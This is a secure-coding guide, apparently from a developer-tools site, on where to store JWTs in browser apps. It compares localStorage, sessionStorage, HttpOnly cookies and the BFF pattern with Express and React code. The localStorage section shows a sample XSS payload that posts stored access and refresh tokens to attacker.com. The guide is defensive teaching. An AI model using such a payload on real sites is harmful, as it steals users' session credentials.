Where to Store JWT: httpOnly Cookies vs localStorage vs sessionStorage
Last updated:
Browser JWT storage is the security debate that never quite ends — and the answer has shifted over the last few years. The short version for 2026: do not put a JWT with meaningful authority in localStorage or sessionStorage, because any XSS payload reads them in a single line. Prefer a hybrid pattern — access token in memory, refresh token in an HttpOnly, Secure, SameSite=Strict cookie — or go one step further with the BFF (Backend-for-Frontend) pattern where the browser holds an opaque session cookie and the JWT never enters the browser at all. This guide walks the full threat model (XSS vs CSRF), shows each storage option with code, and ends with the OWASP and OAuth WG guidance you can cite in a design review.
Inspecting a JWT to see what claims it carries and how long it lives? Paste it into Jsonic's JWT Decoder — it decodes the header and payload locally in your browser, shows the algorithm and expiration, and never sends the token anywhere.
Decode a JWTThe three options: httpOnly cookies, localStorage, sessionStorage
Every browser-side JWT discussion comes back to the same three places you can put a token. Each has different visibility to JavaScript, different exposure to network attacks, and different UX trade-offs. The decision table below is the one-screen reference; the rest of this guide explains the reasoning behind each cell.
| Storage option | XSS risk | CSRF risk | Survives refresh? | Complexity |
|---|---|---|---|---|
localStorage | High — any script reads it | None — not auto-attached | Yes (until cleared) | Low |
sessionStorage | High — any script reads it | None — not auto-attached | Tab only | Low |
HttpOnly cookie | Low — JS cannot read it | Mitigated by SameSite | Yes (until expiry) | Medium |
| In-memory variable | Medium — script in same context can read | None — not auto-attached | No — lost on reload | Medium (needs silent refresh) |
| BFF opaque cookie | Lowest — no JWT in browser at all | Mitigated by SameSite | Yes (until expiry) | High — needs server |
Notice how no single row dominates the others. localStorage wins on CSRF but loses on XSS. HttpOnly cookies invert that. The in-memory option dodges both classes of attack but breaks page refresh — which is why nobody ships pure in-memory; the realistic pattern pairs it with a refresh cookie. The BFF row dominates on security but pays in infrastructure.
The right answer for your app depends on what you are protecting (a marketing dashboard versus a payments console), how much engineering budget you have for a backend session layer, and whether your origin runs any third-party JavaScript you do not fully control.
Threat model: XSS vs CSRF (you must understand both)
Every JWT-storage argument collapses if you do not first distinguish the two attacks the storage choice is supposed to defend against. They are different mechanisms with different mitigations, and most bad advice on Stack Overflow comes from treating them as the same thing.
Cross-Site Scripting (XSS) is when attacker-controlled JavaScript runs inside your origin. The attacker exploits an injection bug, a compromised npm dependency, a malicious browser extension, or a third-party script tag, and gets arbitrary code execution in the same JavaScript context as your app. From there the attacker can read any value JavaScript can read: localStorage, sessionStorage, document.cookie (for non-HttpOnly cookies), in-memory variables, IndexedDB. The attacker can also issue fetch requests using whatever credentials the browser auto-attaches.
Cross-Site Request Forgery (CSRF)is when an attacker page on a different origin tricks the user's browser into issuing an authenticated request to your origin. The attacker cannot read the response (same-origin policy still applies), but they can cause a state change — transferring money, deleting an account, changing an email. The attack relies entirely on the browser auto-attaching credentials (cookies) to requests the attacker initiated.
The asymmetry matters. localStorage has zero CSRF risk because the browser does not auto-attach it to anything — the application must read it and add an Authorization header explicitly. Cookies have the opposite property: auto-attach is the whole point, which is what enables CSRF and also what enables HttpOnly to hide them from JavaScript. The storage choice is a choice about which class of attack you are willing to invest in mitigating.
In 2026 the realistic threat surface is XSS-heavy. A typical SPA pulls hundreds of transitive npm dependencies, embeds analytics and tag-manager scripts, and may accept user-generated content that gets rendered. CSRF, by contrast, is mostly solved at the platform level via SameSite defaults. That is why the expert consensus has shifted away from localStorage: XSS is the attack you should be losing sleep over, and localStorage is the storage that hands tokens to XSS for free. See our JSON security guide for the broader picture of browser-side attack surface.
localStorage: vulnerable to XSS but immune to CSRF
localStorage is a synchronous, origin-scoped key/value store that persists across tabs and browser sessions until explicitly cleared. From a developer ergonomics standpoint it is the path of least resistance: one line to write, one line to read, no server changes, no cookie flags to remember. That ergonomics is exactly why so many tutorials still recommend it — and why so many production SPAs ship a token-exfiltration vulnerability waiting to be triggered.
The XSS exposure is direct. Any script that runs on your origin can call localStorage.getItem('jwt') and send the result anywhere. The attacker does not need to escalate, persist, or steal a session — one successful payload, one fetch to attacker.com, and the token is gone.
// XSS payload (educational — DO NOT use this against systems you don't own)
// Injected via, e.g., an unsanitized comment field or a compromised npm package.
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
jwt: localStorage.getItem('access_token'),
refresh: localStorage.getItem('refresh_token'),
origin: location.origin,
}),
})
// One line. The attacker now has a long-lived token and can replay it
// against your API from anywhere — your server cannot tell the difference
// between this request and a legitimate one from the real user.Mitigations that help but do not fix the underlying problem:
- Strict Content Security Policy — block inline script, restrict
connect-srcto known endpoints. Raises the bar for exfiltration but does not stop on-origin script that does not need outbound fetch (the attacker can use the token in-place). - Subresource Integrity on every
<script>tag. Catches a compromised CDN but not a compromised first-party build. - Short token lifetimes (5–15 minutes). Limits the window of replay but is exactly what refresh tokens are for — and refresh tokens must not live in
localStorage.
localStorage is acceptable for tokens that are short-lived, narrow in authority (read-only access to a single non-sensitive endpoint), and used in a context where you accept that an XSS bug means token theft. For session-level or refresh-level tokens, it is the wrong choice. See JSON in localStorage for general patterns around storing JSON-serialized data in browser storage.
httpOnly cookies: immune to XSS read but require CSRF protection
The HttpOnly cookie flag tells the browser to hide the cookie from every JavaScript API. document.cookie does not return it, cookieStore.get()does not return it, no DOM mutation reveals it. The browser still attaches it to outgoing requests on the cookie's scope, so the app keeps working — but a successful XSS payload cannot read the value to send to attacker.com.
// Express setting an httpOnly refresh cookie with every flag you want
import express from 'express'
import cookieParser from 'cookie-parser'
const app = express()
app.use(cookieParser())
app.post('/api/auth/login', async (req, res) => {
const { accessToken, refreshToken } = await issueTokens(req.body)
res.cookie('refresh_token', refreshToken, {
httpOnly: true, // hidden from document.cookie and JS
secure: true, // HTTPS only — prod must enforce this
sameSite: 'strict', // never sent on cross-site requests
path: '/api/auth', // narrowest possible scope
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
domain: '.example.com', // omit for host-only cookie (more restrictive)
})
// Access token returned in JSON body — client puts it in memory
res.json({ accessToken, expiresIn: 900 })
})On the browser side, the SPA never touches the refresh cookie directly. It calls the refresh endpoint and the browser attaches the cookie automatically:
// React — silent refresh on page load
async function silentRefresh(): Promise<string | null> {
const res = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // required to send the cookie
})
if (!res.ok) return null
const { accessToken } = await res.json()
authStore.setAccessToken(accessToken) // memory only
return accessToken
}The residual risks you must still mitigate:
- CSRF — the browser still attaches the cookie to requests the attacker initiates from another origin.
SameSite=Strict(next section) eliminates this;SameSite=Laxrequires a CSRF token. - XSS as confused deputy — an XSS payload cannot read the cookie but can still issue fetch requests that ride it. Short access-token lifetimes, step-up auth for sensitive actions, and origin checks on the server reduce the blast radius.
- Subdomain hijack — if you set
Domain=.example.com, a vulnerability on any subdomain can steal the cookie. Prefer host-only cookies (omit the Domain attribute) when possible.
Used with SameSite=Strict, refresh-token rotation, and a short access-token lifetime, an httpOnly cookie is the strongest browser-only pattern for the refresh half of a JWT system. See our Refresh token pattern guide for the full rotation flow.
SameSite=Strict / Lax: when this kills CSRF without csrf tokens
The SameSite cookie attribute controls whether the browser attaches the cookie to cross-site requests. Modern browsers default to SameSite=Lax if you omit the attribute, but you should set it explicitly anyway — defaults shift, and an explicit value documents intent.
| Value | Cross-site GET | Cross-site POST | Top-level nav | Use for |
|---|---|---|---|---|
Strict | Not sent | Not sent | Not sent | Auth cookies, refresh tokens |
Lax | Not sent on subresources | Not sent | Sent on top-level GET | Cookies that need to survive a sign-in redirect |
None | Sent | Sent | Sent | Cross-site embeds (requires Secure) |
The CSRF math. The classical CSRF attack is an attacker page at attacker.com that triggers a state-changing request to your-api.com. With SameSite=Strict, the browser refuses to attach the cookie to that request — the request still goes through, but unauthenticated, so it fails. CSRF is mechanically prevented at the platform level.
// SameSite=Strict cookie set in a single Set-Cookie header
Set-Cookie: refresh_token=eyJhbGc...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth; Max-Age=604800
// What this blocks:
// - <form action="https://your-api.com/transfer" method="POST"> on attacker.com → cookie omitted
// - <img src="https://your-api.com/delete?id=42"> on attacker.com → cookie omitted
// - fetch('https://your-api.com/...') from attacker.com → cookie omitted (and CORS preflight fails first)
// - Even a top-level link click from attacker.com → cookie omitted on first request
//
// What still requires you to be careful:
// - Subdomain XSS that rides the cookie within your own site
// - Open redirect that bounces the user via a same-site URLWhen you must use SameSite=Lax instead. If your auth flow relies on a third-party identity provider that redirects back to your site, the first request after the redirect is a cross-site top-level navigation —SameSite=Strict would drop the cookie and break the flow. In that case use Lax for the session cookie and add a double-submit CSRF token for state-changing endpoints. The double-submit pattern: the server sets a non-HttpOnly cookie containing a random value at sign-in, and every form/POST includes that same value as a header or hidden field. The server checks they match; an attacker on a different origin cannot read the cookie value, so cannot forge the matching header.
SameSite=None exists for legitimate cross-site embeds (an SDK iframe on third-party sites) and must always be paired with Secure. Do not use it for auth cookies on a first-party app — it actively re-opens the CSRF attack surface that the other values close. See CORS with credentials for the related cross-origin request rules.
Defense in depth: short-lived access + httpOnly refresh hybrid
The pattern most modern SPAs converge on is a hybrid that uses each storage layer for what it is good at. The access token, which authorizes API calls, lives in memory — a variable on a module-scope auth store. The refresh token, which lives long enough to keep the user signed in across sessions, lives in an HttpOnly cookie. Neither one is reachable from localStorage, so a single XSS payload cannot exfiltrate a long-lived credential.
// Pseudocode for the hybrid pattern on the client
const authStore = {
accessToken: null as string | null,
setAccessToken(token: string) { this.accessToken = token },
clear() { this.accessToken = null },
}
// On page load: silent refresh via the httpOnly cookie
async function bootstrap() {
const res = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
})
if (res.ok) {
const { accessToken } = await res.json()
authStore.setAccessToken(accessToken)
}
}
// On every API call: attach the in-memory access token
async function api(path: string, init: RequestInit = {}) {
const headers = new Headers(init.headers)
if (authStore.accessToken) {
headers.set('Authorization', `Bearer ${authStore.accessToken}`)
}
const res = await fetch(path, { ...init, headers })
if (res.status === 401) {
await bootstrap() // refresh and retry once
return api(path, init)
}
return res
}Why this works:
- XSS payload reads
localStorage? It finds nothing — there is no token there. - XSS payload reads
document.cookie? The refresh cookie is HttpOnly; the call returns the empty string (or whatever non-HttpOnly cookies exist). - XSS payload reads the in-memory access token? Yes — and this is the residual risk. But the token is short-lived (5–15 minutes), so the attacker gets a narrow replay window, not a permanent credential.
- Attacker triggers a cross-site request?
SameSite=Strictdrops the refresh cookie; the access token is in memory and never auto-attached.
Add refresh token rotation for the final layer. Every silent refresh issues a new refresh token and invalidates the old one. If the old token is ever presented again — because an attacker stole it and tried to use it after the legitimate user already refreshed — the server detects the reuse, revokes the entire chain, and forces sign-in. This converts a stolen refresh token from a long-term breach into a single-use one. See JWT best practices for the full hardening checklist and JWT revocation for the server-side detection mechanics.
OAuth 2.0 + PKCE for SPAs (no token in browser storage at all)
The hybrid pattern still puts a token in the browser, just one with a narrow lifetime. The next step up — and the recommendation in the latest OAuth Working Group BCP for browser-based apps — is to remove the token from the browser entirely. There are two common variants.
OAuth 2.0 Authorization Code + PKCEis the standard flow for public clients. PKCE (Proof Key for Code Exchange, pronounced "pixie") protects against authorization-code interception by binding the code to a verifier the client generated. Without PKCE, an attacker who intercepts the auth code can redeem it; with PKCE, only the original client (which still has the verifier) can. PKCE was originally designed for mobile apps but is now mandatory for SPAs in every modern OAuth profile.
PKCE alone still ends with tokens in the browser, though. The further step is the BFF (Backend-for-Frontend) pattern: a server you control sits between the SPA and the OAuth provider. The BFF handles the OAuth dance, holds the access and refresh tokens on its own server, and issues the browser an opaque session cookie — a random ID, not a JWT, that means nothing without the corresponding server-side session.
// BFF proxy pattern — Express acting as a Backend-for-Frontend
import express from 'express'
import { sessionStore } from './session-store' // Redis, Postgres, etc.
const app = express()
// Browser calls the BFF, never the upstream API directly
app.post('/bff/orders', async (req, res) => {
const sessionId = req.cookies.sid
if (!sessionId) return res.status(401).json({ error: 'no_session' })
// Server-side lookup — the JWT lives here, not in the browser
const session = await sessionStore.get(sessionId)
if (!session?.accessToken) return res.status(401).json({ error: 'expired' })
// BFF makes the upstream call with the real OAuth token
const upstream = await fetch('https://api.example.com/orders', {
method: 'POST',
headers: {
Authorization: `Bearer ${session.accessToken}`,
'Content-Type': 'application/json',
},
body: JSON.stringify(req.body),
})
res.status(upstream.status).json(await upstream.json())
})
// The browser cookie is an opaque ID — meaningless without the session store
// Set-Cookie: sid=8f3a...; HttpOnly; Secure; SameSite=Strict; Path=/bffWhat the BFF eliminates:
- There is no JWT in the browser, so XSS cannot steal one. The opaque session ID is HttpOnly and cannot be read either.
- If the session ID is somehow exfiltrated, it is bound to the BFF's server-side session and can be revoked instantly — no waiting for an access token to expire.
- Token refresh happens server-to-server, never touching the browser. Refresh tokens stay in a server you can lock down with the usual server hardening.
The cost: you must run and scale the BFF. A stateful BFF (Redis session store) is the simplest implementation; a stateless variant (encrypted session cookie containing the tokens, decrypted server-side) is operationally lighter but loses the instant-revoke property. Most teams pick the stateful BFF for sensitive apps and accept the operational cost.
The OWASP recommendation in 2026 (and the OAuth WG draft on browser tokens)
The official guidance from the standards bodies converges on the same advice. Here is what the major sources say as of 2026:
OWASP JWT Cheat Sheetrecommends storing tokens with significant authority in HttpOnly, Secure, SameSite=Strict cookies — not in localStorage or sessionStorage. The cheat sheet specifically calls out localStorage as "readable by any script and therefore unsuitable for tokens that authenticate the user."
OWASP ASVS(Application Security Verification Standard) version 5.0 makes this a verifiable requirement in section 3 (session management): "the application uses either... a server-side opaque session token, or a value equivalent to OWASP's recommendation for browser-based tokens." localStorage-stored tokens fail this control.
OAuth 2.0 for Browser-Based Apps BCP (the IETF OAuth Working Group draft, updated September 2024) is the most influential single document on SPA token storage. The draft recommends the BFF pattern for high-assurance applications and lists the hybrid in-memory-plus-refresh-cookie pattern as the second-best option for SPAs that cannot run a backend. The draft explicitly advises against putting OAuth tokens in localStorage or sessionStorage.
The practical decision tree:
- High-value app (payments, healthcare, identity, internal admin): BFF pattern with opaque session cookies. JWT never enters the browser.
- Standard SaaS app: hybrid pattern — access token in memory, refresh token in HttpOnly Secure SameSite=Strict cookie, refresh-token rotation enabled.
- Low-value read-only app or public dashboard: short-lived JWT in memory only, accept that page reload requires re-auth, or use the hybrid pattern anyway since the cost is small.
- Tutorial code, prototypes, internal tools behind a VPN: localStorage is fine — just label it clearly as a prototype concern and migrate before anything real ships on top.
The recurring theme across every source: tokens that can authorize sensitive actions should not be reachable by JavaScript. Whether you achieve that with HttpOnly cookies, with a BFF, or by keeping access tokens ephemeral and in-memory only, that constraint is what good 2026 designs share.
Key terms
- HttpOnly cookie
- A cookie flag that hides the cookie from every JavaScript API.
document.cookiedoes not return it. The browser still auto-attaches it to requests on the cookie's scope, but no script in the page can read or modify the value. - SameSite (Strict, Lax, None)
- A cookie attribute controlling cross-site sending.
Strictnever sends on cross-site requests (kills classical CSRF).Laxpermits top-level navigation GETs (needed for OAuth redirects).Nonealways sends and requiresSecure(for legitimate cross-site embeds only). - CSRF (Cross-Site Request Forgery)
- An attack where an attacker page on another origin triggers an authenticated request to your origin by relying on the browser auto-attaching cookies. Mitigated by
SameSite, double-submit cookies, or synchronizer tokens. - XSS (Cross-Site Scripting)
- An attack where attacker-controlled JavaScript runs in your origin's context — via an injection bug, a compromised dependency, or a malicious third-party script. Reads anything JavaScript can read:
localStorage, in-memory variables, non-HttpOnly cookies. - BFF (Backend-for-Frontend)
- A server you control that sits between the SPA and the upstream API. Holds OAuth tokens server-side and issues the browser an opaque session cookie. Eliminates the entire class of XSS-based token theft because the JWT never enters the browser.
- PKCE (Proof Key for Code Exchange)
- An OAuth 2.0 extension that protects the authorization code from interception by binding it to a client-generated verifier. Mandatory for SPAs and mobile apps in every modern OAuth profile.
- Refresh token rotation
- A pattern where every silent refresh issues a new refresh token and invalidates the old one. Reuse of the old token signals theft, triggering revocation of the entire chain and forcing sign-in.
Frequently asked questions
Where should I store a JWT in a browser SPA?
For a single-page app the modern recommended pattern is a hybrid: keep the short-lived access token in memory (a JavaScript variable in your auth module, not localStorage) and keep the long-lived refresh token in an httpOnly, Secure, SameSite=Strict cookie scoped to /api/auth. Access tokens never touch persistent storage so an XSS payload that exfiltrates localStorage finds nothing useful; refresh tokens live in a cookie JavaScript cannot read. On page reload the SPA calls a silent refresh endpoint, the browser sends the refresh cookie automatically, the server issues a fresh access token, and the user stays signed in. If the SPA is part of an app where the backend can serve the SPA itself, the BFF (Backend-for-Frontend) pattern is even safer — the browser holds only an opaque session cookie and the JWT never enters the browser at all.
Is localStorage safe for JWT?
localStorage is not safe for tokens with meaningful access. Any JavaScript running on the same origin can read it, which means a single XSS bug — a vulnerable npm dependency, an unescaped user-controlled string in a render, a third-party script tag — exposes every token the app has stored. The attacker exfiltrates the JWT, replays it against your API from anywhere, and your server cannot tell the difference between the real user and the attacker. localStorage does have one advantage over cookies: it is immune to CSRF, because the browser does not auto-attach it to cross-site requests. But the XSS attack surface in a modern SPA (transitive dependencies, ad networks, analytics scripts) is much larger than the CSRF surface on a properly configured cookie. Use localStorage only for short-lived, narrow-scoped, low-value tokens, and never for refresh tokens.
What's the difference between httpOnly cookies and localStorage for JWT?
The HttpOnly cookie flag tells the browser to hide the cookie from JavaScript — document.cookie does not return it, and no script can read or modify it. localStorage is the opposite: it exists specifically for JavaScript access. The security implication is direct. An XSS payload running in the page can read localStorage and exfiltrate every token there, but it cannot read an HttpOnly cookie. The attacker can still issue requests that include the cookie (the browser attaches it automatically), but the token never leaves the browser. That residual risk — XSS as a confused-deputy that rides the cookie — is real but containable. Combined with SameSite=Strict, short access-token lifetimes, refresh token rotation, and CSP that blocks inline script, HttpOnly cookies are the higher-security choice for browser tokens.
Does SameSite=Strict eliminate the need for CSRF tokens?
In most modern browser configurations, yes. SameSite=Strict tells the browser to omit the cookie from any cross-site request — not just POST, but every method, every embedded resource, every redirect from an external site. A malicious page on attacker.com cannot trigger the cookie to be sent to your-api.com regardless of how it phrases the request. That eliminates the classical CSRF attack vector. The cases where you still want a defense-in-depth CSRF token are: SameSite=Lax (which permits top-level navigation GETs, enough for some attacks), apps with subdomain trust where attacker.your-domain.com is a real worry, and high-value endpoints where you want explicit confirmation that the request came from your own JavaScript. For a fresh project on modern browsers with SameSite=Strict, you can ship without CSRF tokens; for legacy or untrusted-subdomain situations, layer them in.
How do mobile apps store JWTs differently?
Mobile apps store tokens in the platform secure enclave — Keychain on iOS, Keystore on Android, the EncryptedSharedPreferences API on newer Android. These stores are hardware-backed where available, encrypted at rest, and accessible only to the app process. They are far more secure than any browser storage option because there is no shared origin, no third-party script execution, no cross-app fetch. The browser equivalents — localStorage, IndexedDB, even httpOnly cookies — all live in a process that runs arbitrary script. Mobile apps also typically use OAuth 2.0 with PKCE for token acquisition and biometric prompts to gate refresh, neither of which translates cleanly to the browser. When designing an SPA, treat the browser as a fundamentally less trusted environment than a mobile app and prefer short token lifetimes plus a server-mediated session (BFF) over long-lived in-browser tokens.
What is the OWASP recommendation for JWT storage?
OWASP advises against storing tokens with significant authority in browser-accessible storage. The current OWASP Cheat Sheet on JWT and the OWASP ASVS section on session management recommend: httpOnly, Secure, SameSite=Strict cookies for refresh tokens and session identifiers; in-memory storage for short-lived access tokens; never localStorage or sessionStorage for credentials. The OAuth 2.0 for Browser-Based Apps BCP draft (updated September 2024) goes further and recommends the BFF (Backend-for-Frontend) pattern for high-assurance SPAs — the browser holds only an opaque session cookie and the BFF holds OAuth tokens on its own server. For lower-risk apps, the same draft accepts the hybrid in-memory-plus-refresh-cookie pattern. The consistent thread across all official guidance: tokens that can authorize sensitive actions should not be reachable by JavaScript.
How does the BFF (Backend-for-Frontend) pattern eliminate browser tokens?
In the BFF pattern your SPA does not call your API directly. Instead it calls a server that you own — the BFF — which holds the OAuth tokens, performs the API call upstream, and returns the result. The browser sees only an opaque session cookie (a random ID, not a JWT) issued by the BFF; the access and refresh tokens never leave the server. From the browser the cookie is HttpOnly, Secure, SameSite=Strict, and meaningless to anyone who steals it without also stealing the corresponding server-side session record. This eliminates the entire class of token theft via XSS — there is no token to steal. The trade-off is operational: you must run and scale a stateful BFF (or use a stateless variant with encrypted cookies), and every API call adds a hop. For SaaS apps with sensitive data or compliance requirements, the trade-off is worth it.
Can I use sessionStorage to limit JWT lifetime?
sessionStorage clears when the tab closes, which feels like a security improvement over localStorage — but the threat model is identical. Both are origin-scoped, both are readable by any JavaScript on the page, and an XSS payload exfiltrates either one in a single line of code. The shorter lifetime only helps against a narrow scenario: a token left on a shared computer after the user walks away without closing the tab. It does nothing against XSS, malicious dependencies, or compromised third-party scripts, which are the realistic threats. sessionStorage is also slightly worse for UX because it does not survive a tab restart or a multi-tab workflow. Use sessionStorage only when localStorage would already be acceptable and you want the tab-lifetime semantic; for actual JWT storage, prefer in-memory plus httpOnly cookie or a BFF.
Further reading and primary sources
- OWASP JWT Cheat Sheet — Authoritative OWASP guidance on JWT validation, storage, and revocation
- OAuth 2.0 for Browser-Based Apps (BCP) — IETF OAuth Working Group draft — BFF and hybrid patterns for SPA token storage
- MDN — HTTP cookies (Set-Cookie attributes) — Reference for HttpOnly, Secure, SameSite, Domain, Path, and Max-Age cookie attributes
- OWASP CSRF Cheat Sheet — SameSite, double-submit, synchronizer token, and other CSRF defenses ranked by strength
- OWASP XSS Prevention Cheat Sheet — The other half of the threat model — how XSS exfiltrates whatever JavaScript can read